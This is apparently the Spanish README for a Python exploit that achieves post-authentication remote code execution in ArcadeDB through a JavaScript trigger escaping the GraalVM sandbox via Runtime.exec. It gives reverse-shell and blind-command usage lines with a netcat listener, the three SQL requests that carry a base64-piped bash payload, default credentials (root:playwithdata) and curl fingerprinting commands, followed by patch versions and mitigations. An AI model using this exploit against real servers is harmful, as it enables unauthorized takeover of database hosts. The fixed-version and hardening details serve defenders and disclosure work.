
Exploit de RCE posterior a la autenticación para ArcadeDB mediante un disparador de JavaScript que provoca un escape del sandbox de GraalVM, ejecutando comandos del sistema operativo a través de la API HTTP con modos de shell inversa o comando ciego.
Ejecución remota de código posterior a la autenticación en ArcadeDB (una base de datos Java multimodelo) mediante un disparador JAVASCRIPT que accede a clases del host.
El motor políglota de GraalVM de un disparador se construye con una lista de permitidos de clases del host que incluye
java.lang.* (ScriptTriggerExecutor.setAllowedPackages), por lo que un script de disparador puede llamar a:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) no lo bloquea: Runtime.exec es una llamada a método del host
permitida por HostAccess.ALL, no la API de procesos invitados de GraalVM. Crear un disparador solo requiere el
permiso UPDATE_SCHEMA (más débil que UPDATE_SECURITY, que restringe el scripting directo), por lo que
root puede hacerlo: un RCE post-autenticación a través de la API HTTP.
< 26.7.2 (0 – 26.7.1)26.7.2 (elimina java.lang.* de la lista de permitidos del disparador y añade un literal
HostClassLookupFilter con una lista de denegados de procesos/reflexión/classloader)2480 (API HTTP + Studio; autenticación Basic)La ruta de comando directa
language:jsno es el vector: no tiene paquetes permitidos (Java.typebloqueado) y está restringida porUPDATE_SECURITY. Solo el ejecutor de disparadores tienejava.lang.*codificado de forma fija.
Solo la biblioteca estándar de Python 3 — sin dependencias. Credenciales válidas de ArcadeDB con UPDATE_SCHEMA
(p. ej., root). ArcadeDB no tiene contraseña por defecto fija, pero su propio docker-compose.yml incluye
el ejemplo root:playwithdata, que es una credencial habitual que se deja intacta.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
Tres solicitudes POST /api/v1/command/<db> autenticadas (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — el disparador BEFORE CREATE se activa y el JavaScript se ejecuta.El comando del sistema operativo está envuelto en base64 para que las capas JavaScript/SQL/JSON no necesiten escapar comillas anidadas,
y el script omite waitFor() para que exec retorne inmediatamente (el proceso hijo sigue ejecutándose, la
solicitud no se bloquea).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
Actualiza a ArcadeDB ≥ 26.7.2, establece una rootPassword segura (nunca playwithdata), no ejecutes
ArcadeDB como root, restringe UPDATE_SCHEMA y mantén la API HTTP/Studio fuera de redes no confiables.
Solo para pruebas de seguridad autorizadas y con fines educativos. Úsalo únicamente contra sistemas que poseas o tengas permiso explícito para probar.